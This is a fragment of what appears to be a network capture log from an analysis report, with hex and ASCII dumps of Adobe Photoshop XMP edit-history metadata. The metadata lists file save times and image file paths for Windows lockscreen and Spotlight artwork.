lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2015.5\AutoRecover\_Lockscreen_1920x1080_Landscape0
01F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2016-11-16T13:54-08:0

2022-05-26 11:46:49 UTC 2634 IN Data Raw: 32 38 30 36 44 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 31 35 3a 35 
34 3a 31 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 4f 66 66 69 63 65 2d 42 61 74 63 68 32 5c 5f 43 48 4f 53 45 4e 
2d 53 77 61 79 5c 43 72 6f 70 73 5c 4f 66 66 69 63 65 5f 53 77 61 79 2d 55 73 65 72 73 5f 70 31 30 32 33 6d 38 33 37 31 
34 39 66 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 36 2d 31 31 2d 32 33 54 
31 35 3a 35 36 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 
67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4f 66 66 69 63 65 5c 
Data Ascii: 2806D.psb saved&#xA;2016-11-23T15:54:15-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\Office-
Batch2\_CHOSEN-Sway\Crops\Office_Sway-Users_p1023m837149f_1920x1080.jpg saved&#xA;2016-11-23T15:56:08-
08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Office\

2022-05-26 11:46:49 UTC 2741 IN Data Raw: 35 2e 35 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 
30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 
42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 30 39 3a 34 36 3a 31 30 2d 
30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 
64 6f 77 73 31 30 5c 4d 38 33 5c 43 48 4f 53 45 4e 5c 4d 38 33 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 31 36 31 31 34 
36 37 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 31 2d 33 31 54 
30 39 3a 34 37 3a 30 38 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 
Data Ascii: 5.5\AutoRecover\_Lockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5B579.psb save
d&#xA;2017-01-31T09:46:10-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\M83\CHOSEN\M83_GettyImages-5
16114675_1920x1080.jpg saved&#xA;2017-01-31T09:47:08-08:00&#x9;File

2022-05-26 11:46:49 UTC 2757 IN Data Raw: 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 
5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 53 70 6f 74 6c 69 67 68 74 5c 43 48 4f 53 45 4e 5c 43 
6f 72 74 61 6e 61 2d 53 70 6f 74 6c 69 67 68 74 5f 73 68 75 74 74 65 72 73 74 6f 63 6b 5f 39 31 39 31 31 39 38 30 5f 31 
39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 33 2d 30 36 54 31 33 3a 33 39 
3a 35 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 
5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 
65 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 
Data Ascii: 07-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Spotlight\CHOSEN\Cortana-Spotlight_shutte
rstock_91911980_1920x1080.jpg saved&#xA;2017-03-06T13:39:57-08:00&#x9;File C:\Users\v-lizagh\MS\Wind
ows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2017-0

2022-05-26 11:46:49 UTC 2963 IN Data Raw: 32 30 36 32 35 35 35 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 
37 2d 30 33 2d 32 37 54 31 32 3a 30 37 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 
73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 53 65 72 76 69 63 69 6e 
67 5c 43 48 4f 53 45 4e 5c 52 6f 75 6e 64 31 5c 57 69 6e 64 6f 77 73 53 65 72 76 69 63 69 6e 67 5f 47 65 74 74 79 49 6d 
61 67 65 73 2d 35 30 38 33 34 32 36 33 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 
32 30 31 37 2d 30 33 2d 32 37 54 31 32 3a 30 38 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 
73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 
Data Ascii: 2062555_1920x1080.jpg saved&#xA;2017-03-27T12:07:07-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\
Windows\Servicing\CHOSEN\Round1\WindowsServicing_GettyImages-508342634_1920x1080.jpg saved&#xA;2017-03-
27T12:08:28-07:00&#x9;File C:\Users\v-lizagh\MS\Window

2022-05-26 11:46:49 UTC 3043 IN Data Raw: 36 38 31 39 30 5f 31 39 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 
30 34 2d 32 34 54 31 30 3a 34 34 3a 30 34 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 
76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 53 70 72 6
9 6e 67 45 6e 74 65 72 74 61 69 6e 6d 65 6e 74 5c 4d 61 79 5c 43 48 4f 53 45 4e 5c 52 41 57 53 5c 4d 49 54 2d 53 70 72 
69 6e 67 54 56 4d 6f 76 69 65 2d 4d 61 79 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 31 35 38 36 38 31 39 30 5f 31 39 
32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 34 2d 32 34 54 31 30 3a 35 38 3a 
33 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 
Data Ascii: 68190_1920x1080.psd saved&#xA;2017-04-24T10:44:04-07:00&#x9;File C:\Users\v-lizagh\MS\Wi
ndows10\MomentsInTime\SpringEntertainment\May\CHOSEN\RAWS\MIT-SpringTVMovie-May_GettyImages-11586819
0_1920x1080.jpg saved&#xA;2017-04-24T10:58:37-07:00&#x9;File C:\Use

Timestamp
kBytes
transferred

Direction Data
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2022-05-26 11:46:49 UTC 3059 IN Data Raw: 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 34 3a 34 38 3a 34 39 2d 30 37 3a 30 30 26 23 78 39 3b 46 
69 6c 65 20 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 
70 65 6e 65 64 26 23 78 41 3b 32 30 31 37 2d 30 35 2d 31 35 54 31 35 3a 30 38 3a 30 31 2d 30 37 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5
c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 
72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 
32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 34 33 44 46 35 
Data Ascii: #xA;2017-05-15T14:48:49-07:00&#x9;File Lockscreen_1920x1080_Landscape.psd opened&#xA;2017-05-
15T15:08:01-07:00&#x9;File C:\Users\v-lizagh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_L
ockscreen_1920x1080_Landscape001F47920D5F41D85C30DE643DF5

2022-05-26 11:46:49 UTC 3115 IN Data Raw: 30 31 37 2d 30 36 2d 30 37 54 30 38 3a 33 33 3a 32 38 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 
4d 69 6b 61 69 6c 61 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 53 2d 4d 69 6b 61 69 6c 61 5f 47 65 74 74 79 49 6d 61 
67 65 73 2d 35 35 34 37 37 30 33 33 39 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 
30 31 37 2d 30 36 2d 30 37 54 30 38 3a 33 35 3a 34 31 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 
65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 4d 69 6b 61 
69 6c 61 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 5c 4d 53 2d 4d 69 
Data Ascii: 017-06-07T08:33:28-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Microsoft\Mikaila\Chosen\Crops\MS-
Mikaila_GettyImages-554770339_1920x1080.jpg saved&#xA;2017-06-07T08:35:41-07:00&#x9;File C:\Users\v-lizagh\MS
\Windows10\Microsoft\Mikaila\Chosen\Crops\MS-Mi

2022-05-26 11:46:49 UTC 3178 IN Data Raw: 6f 77 73 5c 54 69 70 73 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 47 65 74 74 79 
49 6d 61 67 65 73 2d 34 38 38 35 30 38 35 38 36 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 
41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 39 3a 31 38 3a 30 37 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 
5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 57 69 6e 64 6f 77 73 5c 54 69 7
0 73 5c 43 68 6f 73 65 6e 5c 57 69 6e 64 6f 77 73 31 30 2d 54 69 70 73 5f 70 33 34 33 6d 31 30 39 33 35 31 39 66 5f 31 3
9 32 30 78 31 30 38 30 2e 70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 37 2d 31 33 54 31 39 3a 32 34 
3a 32 36 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 57 69 6e 64 
Data Ascii: ows\Tips\Chosen\Windows10-Tips_GettyImages-488508586_1920x1080.jpg saved&#xA;2017-07-13T
19:18:07-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Windows\Tips\Chosen\Windows10-Tips_p343m10935
19f_1920x1080.psd saved&#xA;2017-07-13T19:24:26-07:00&#x9;File Wind

2022-05-26 11:46:49 UTC 3218 IN Data Raw: 2d 55 53 6f 70 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 36 39 35 34 37 32 31 36 39 5f 31 39 32 30 78 31 
30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 30 54 31 38 3a 30 30 3a 32 33 2d 30 
37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 
6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 55 53 2d 4f 70 65 6e 5c 43 68 6f 73 65 6e 5c 43 72 6f 70 73 
5c 4d 49 54 2d 55 53 6f 70 65 6e 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 38 31 34 30 34 31 39 39 30 5f 31 39 32 30 78 3
1 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 31 30 54 31 38 3a 30 30 3a 32 39 2d 
30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 
Data Ascii: -USopen_GettyImages-695472169_1920x1080.jpg saved&#xA;2017-08-10T18:00:23-07:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\MomentsInTime\US-Open\Chosen\Crops\MIT-USopen_GettyImages-814041990_
1920x1080.jpg saved&#xA;2017-08-10T18:00:29-07:00&#x9;File C:\Users

2022-05-26 11:46:49 UTC 3258 IN Data Raw: 52 65 63 6f 76 65 72 5c 5f 41 63 71 52 65 6d 69 6e 64 65 72 73 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 37 
30 37 32 37 37 33 39 5f 31 39 32 30 78 31 30 38 30 38 33 39 31 37 45 38 38 44 43 39 30 32 44 43 44 31 42 36 39 36 46 
30 42 41 42 41 30 43 35 42 42 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 30 38 2d 32 39 54 31 36 3a 
30 38 3a 35 30 2d 30 37 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 43 6f 72 74 61 6e 61 5c 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 5c 43 
68 6f 73 65 6e 5c 43 72 6f 70 73 5c 48 65 61 6c 74 68 79 4c 69 66 65 73 74 79 6c 65 2d 4e 6f 74 65 62 6f 6f 6b 5f 47 65 
74 74 79 49 6d 61 67 65 73 2d 35 33 31 36 30 37 37 37 33 5f 31 39 32 
Data Ascii: Recover\_AcqReminders_GettyImages-170727739_1920x108083917E88DC902DCD1B696F0BA
BA0C5BB.psb saved&#xA;2017-08-29T16:08:50-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Cortana\Heal
thyLifestyle\Chosen\Crops\HealthyLifestyle-Notebook_GettyImages-531607773_192

2022-05-26 11:46:49 UTC 3337 IN Data Raw: 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 53 72 
65 77 61 72 64 73 5c 43 61 6e 61 64 61 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 64 73 2d 43 
61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 38 33 35 31 31 35 34 5f 31 39 32 30 78 31 30 38 30 2e 6a 
70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 30 2d 31 37 54 31 30 3a 33 38 3a 33 31 2d 30 37 3a 30 30 26 
23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 
5c 4d 53 72 65 77 61 72 64 73 5c 43 61 6e 61 64 61 5c 5f 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 53 52 65 77 61 72 
64 73 2d 43 61 6e 61 64 61 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 31 30 
Data Ascii: e C:\Users\v-lizagh\MS\Windows10\MSrewards\Canada\_CHOSEN\Crops\MSRewards-Canada_GettyImages-
108351154_1920x1080.jpg saved&#xA;2017-10-17T10:38:31-07:00&#x9;File C:\Users\v-lizagh\MS\Windows10\MSrew
ards\Canada\_CHOSEN\Crops\MSRewards-Canada_GettyImages-10

2022-05-26 11:46:49 UTC 3377 IN Data Raw: 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 42 6c 61 63 6b 46 72 69 64 61 79 43 68 72 69 73 74 6d 61 73 53 68 
6f 70 70 69 6e 67 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 5f 47 65 74 74 
79 49 6d 61 67 65 73 2d 34 39 34 31 32 39 39 38 30 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 73 61 76 65 64 26 23 
78 41 3b 32 30 31 37 2d 31 31 2d 32 30 54 31 31 3a 33 32 3a 34 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 
3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 5
4 69 6d 65 5c 42 6c 61 63 6b 46 72 69 64 61 79 43 68 72 69 73 74 6d 61 73 53 68 6f 70 70 69 6e 67 5c 43 48 4f 53 45 4e 
5c 43 72 6f 70 73 5c 4d 49 54 2d 42 6c 61 63 6b 46 72 69 64 61 79 
Data Ascii: MomentsInTime\BlackFridayChristmasShopping\CHOSEN\Crops\MIT-BlackFriday_GettyImages-4941
29980_1920x1080.jpg saved&#xA;2017-11-20T11:32:44-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Mome
ntsInTime\BlackFridayChristmasShopping\CHOSEN\Crops\MIT-BlackFriday

2022-05-26 11:46:49 UTC 3424 IN Data Raw: 67 68 5c 41 70 70 44 61 74 61 5c 52 6f 61 6d 69 6e 67 5c 41 64 6f 62 65 5c 41 64 6f 62 65 20 50 68 6f 74 6f 
73 68 6f 70 20 43 43 20 32 30 31 37 5c 41 75 74 6f 52 65 63 6f 76 65 72 5c 5f 4c 6f 63 6b 73 63 72 65 65 6e 5f 31 39 32 
30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 30 30 31 46 34 37 39 32 30 44 35 46 34 31 44 38 35 43 33 30 44 45 36 
34 33 44 46 35 42 35 37 39 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 37 2d 31 32 2d 30 38 54 31 30 3a 30 
35 3a 35 35 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 
53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 69 63 72 6f 73 6f 66 74 5c 42 75 73 69 6e 65 73 73 2d 50 68 69 6c 61 6e 74 68 72 
6f 70 69 65 73 5c 43 6f 6d 70 53 63 69 45 64 57 65 65 6b 5c 43 48 
Data Ascii: gh\AppData\Roaming\Adobe\Adobe Photoshop CC 2017\AutoRecover\_Lockscreen_1920x1080_Lands
cape001F47920D5F41D85C30DE643DF5B579.psb saved&#xA;2017-12-08T10:05:55-08:00&#x9;File C:\Users\v-liz
agh\MS\Windows10\Microsoft\Business-Philanthropies\CompSciEdWeek\CH
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2022-05-26 11:46:49 UTC 3552 IN Data Raw: 65 74 74 79 49 6d 61 67 65 73 2d 36 38 33 37 39 37 33 30 31 5f 31 39 32 30 78 31 30 38 30 2e 6a 70 67 20 
73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 31 2d 30 39 54 30 38 3a 33 34 3a 34 37 2d 30 38 3a 30 30 26 23 78 39 
3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4c 6f 63 
6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 73 61 76 65 64 26 23 7
8 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 30 39 3a 30 37 3a 32 34 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 4c 6f 
63 6b 73 63 72 65 65 6e 5f 31 39 32 30 78 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 2e 70 73 64 20 6f 70 65 6e 65 64 26 
23 78 41 3b 32 30 31 38 2d 30 31 2d 31 37 54 30 39 3a 32 30 3a 31 
Data Ascii: ettyImages-683797301_1920x1080.jpg saved&#xA;2018-01-09T08:34:47-08:00&#x9;File C:\Users\v-lizagh\
MS\Windows10\Lockscreen_1920x1080_Landscape.psd saved&#xA;2018-01-17T09:07:24-08:00&#x9;File Lockscr
een_1920x1080_Landscape.psd opened&#xA;2018-01-17T09:20:1

2022-05-26 11:46:49 UTC 3576 IN Data Raw: 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 32 54 31 36 3a 35 30 3a 32 39 2d 30 38 3a 30 
30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 
31 30 5c 45 64 67 65 5c 56 69 72 67 69 6e 47 61 6c 61 63 74 69 63 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 45 64 67 6
5 2d 56 69 72 67 69 6e 47 61 6c 61 63 74 69 63 5f 41 6c 61 6d 79 2d 45 52 38 45 58 44 5f 31 39 32 30 78 31 30 38 30 2e 
70 73 64 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 31 32 54 31 36 3a 35 32 3a 32 35 2d 30 38 3a 30 30 
26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 4d 53 5c 57 69 6e 64 6f 77 73 31 
30 5c 45 64 67 65 5c 56 69 72 67 69 6e 47 61 6c 61 63 74 69 63 5c 43 48 
Data Ascii:  saved&#xA;2018-02-12T16:50:29-08:00&#x9;File C:\Users\v-lizagh\MS\Windows10\Edge\VirginGalactic\C
HOSEN\Crops\Edge-VirginGalactic_Alamy-ER8EXD_1920x1080.psd saved&#xA;2018-02-12T16:52:25-08:00&#x9;File 
C:\Users\v-lizagh\MS\Windows10\Edge\VirginGalactic\CH

2022-05-26 11:46:49 UTC 3615 IN Data Raw: 31 30 38 30 5f 4c 61 6e 64 73 63 61 70 65 44 36 31 35 44 35 46 38 38 34 42 44 42 39 37 46 39 38 46 38 45 42 
46 31 42 32 46 36 35 39 33 35 2e 70 73 62 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 32 38 54 31 31 3a 
33 30 3a 30 37 2d 30 38 3a 30 30 26 23 78 39 3b 46 69 6c 65 20 43 3a 5c 55 73 65 72 73 5c 76 2d 6c 69 7a 61 67 68 5c 
4d 53 5c 57 69 6e 64 6f 77 73 31 30 5c 4d 6f 6d 65 6e 74 73 49 6e 54 69 6d 65 5c 57 6f 6d 65 6e 73 48 69 73 74 6f 72 79 
4d 6f 6e 74 68 5c 32 30 31 38 5c 43 48 4f 53 45 4e 5c 43 72 6f 70 73 5c 4d 49 54 2d 57 6f 6d 65 6e 73 48 69 73 74 6f 72 
79 4d 6f 6e 74 68 5f 47 65 74 74 79 49 6d 61 67 65 73 2d 35 37 38 33 36 33 30 36 33 5f 31 39 32 30 78 31 30 38 30 2e 6
a 70 67 20 73 61 76 65 64 26 23 78 41 3b 32 30 31 38 2d 30 32 2d 
Data Ascii: 1080_LandscapeD615D5F884BDB97F98F8EBF1B2F65935.psb saved&#xA;2018-02-28T11:30:07-08:00&#
x9;File C:\Users\v-lizagh\MS\Windows10\MomentsInTime\WomensHistoryMonth\2018\CHOSEN\Crops\MIT-Womens
HistoryMonth_GettyImages-578363063_1920x1080.jpg saved&#xA;2018-02-

2022-05-26 11:46:49 UTC 3703 IN Data Raw: 30 34 41 41 37 34 45 38 32 32 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 35 42 30 46 39 
37 46 36 46 34 36 32 32 32 34 34 41 42 36 33 36 39 31 39 34 34 33 39 37 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 30 30 37 41 31 45 32 37 33 30 32 32 32 35 44 35 35 46 38 36 31 35 38 38 30 41 37 36 44 42 43 34 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 37 43 39 33 31 36 46 43 37 36 36 32 31 42 38 37 33 45 33 38 37 46 
30 43 39 31 34 32 44 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 38 30 32 31 31 36 42 38 41 44 36 
35 41 32 35 32 44 33 42 35 38 33 31 36 42 30 35 36 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 30 
38 35 31 44 45 45 32 37 39 37 35 31 45 34 37 38 31 34 46 36 32 34 43 37 
Data Ascii: 04AA74E822F</rdf:li> <rdf:li>005B0F97F6F4622244AB63691944397F</rdf:li> <rdf:li>007A1E27302225D55F8
615880A76DBC4</rdf:li> <rdf:li>007C9316FC76621B873E387F0C9142D7</rdf:li> <rdf:li>00802116B8AD65A252D
3B58316B05625</rdf:li> <rdf:li>00851DEE279751E47814F624C7

2022-05-26 11:46:49 UTC 3751 IN Data Raw: 34 30 37 34 36 38 31 31 45 44 36 36 38 37 41 42 46 46 37 41 37 43 38 41 34 45 44 3c 2f 72 64 66 3a 6c 69 3e 
20 3c 72 64 66 3a 6c 69 3e 30 44 37 46 31 36 34 37 35 34 37 34 31 36 31 31 36 41 36 45 44 36 44 39 30 43 37 45 34 32 
39 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 38 31 30 43 31 31 46 44 37 38 39 37 36 46 30 43 35 
45 32 34 41 39 39 36 36 42 42 37 30 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 38 44 34 34 43 42 3
9 42 41 39 37 34 36 31 32 35 34 33 45 46 45 32 33 39 39 39 44 34 42 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 30 44 38 45 32 45 45 37 36 42 33 44 39 39 35 43 30 33 32 42 46 37 35 34 41 46 43 42 43 33 45 37 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 30 44 39 36 34 45 32 39 30 41 
Data Ascii: 40746811ED6687ABFF7A7C8A4ED</rdf:li> <rdf:li>0D7F1647547416116A6ED6D90C7E429C</rdf:li> <
rdf:li>0D810C11FD78976F0C5E24A9966BB702</rdf:li> <rdf:li>0D8D44CB9BA974612543EFE23999D4B4</rdf:li> <
rdf:li>0D8E2EE76B3D995C032BF754AFCBC3E7</rdf:li> <rdf:li>0D964E290A

2022-05-26 11:46:49 UTC 3870 IN Data Raw: 34 36 38 39 32 30 45 33 31 46 43 36 32 31 44 30 44 41 34 30 42 34 33 36 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 
72 64 66 3a 6c 69 3e 31 33 42 32 38 42 33 33 37 33 39 42 42 44 46 33 45 46 37 41 41 43 35 33 34 38 38 38 41 44 42 34 
3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 37 38 45 39 30 38 39 41 37 43 44 39 45 32 41 37 36 43 
39 38 32 34 41 34 45 30 39 46 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 42 41 36 30 44 35 32 34 3
2 41 45 34 36 45 36 33 36 43 38 31 34 36 33 31 37 36 44 45 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
31 33 43 39 44 38 30 33 43 39 31 45 33 41 41 38 46 37 46 33 36 32 32 35 46 36 31 36 31 45 30 45 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 31 33 43 45 38 31 46 32 42 37 42 34 
Data Ascii: 468920E31FC621D0DA40B436B</rdf:li> <rdf:li>13B28B33739BBDF3EF7AAC534888ADB4</rdf:li> <rd
f:li>13B78E9089A7CD9E2A76C9824A4E09FA</rdf:li> <rdf:li>13BA60D5242AE46E636C81463176DEA7</rdf:li> <rd
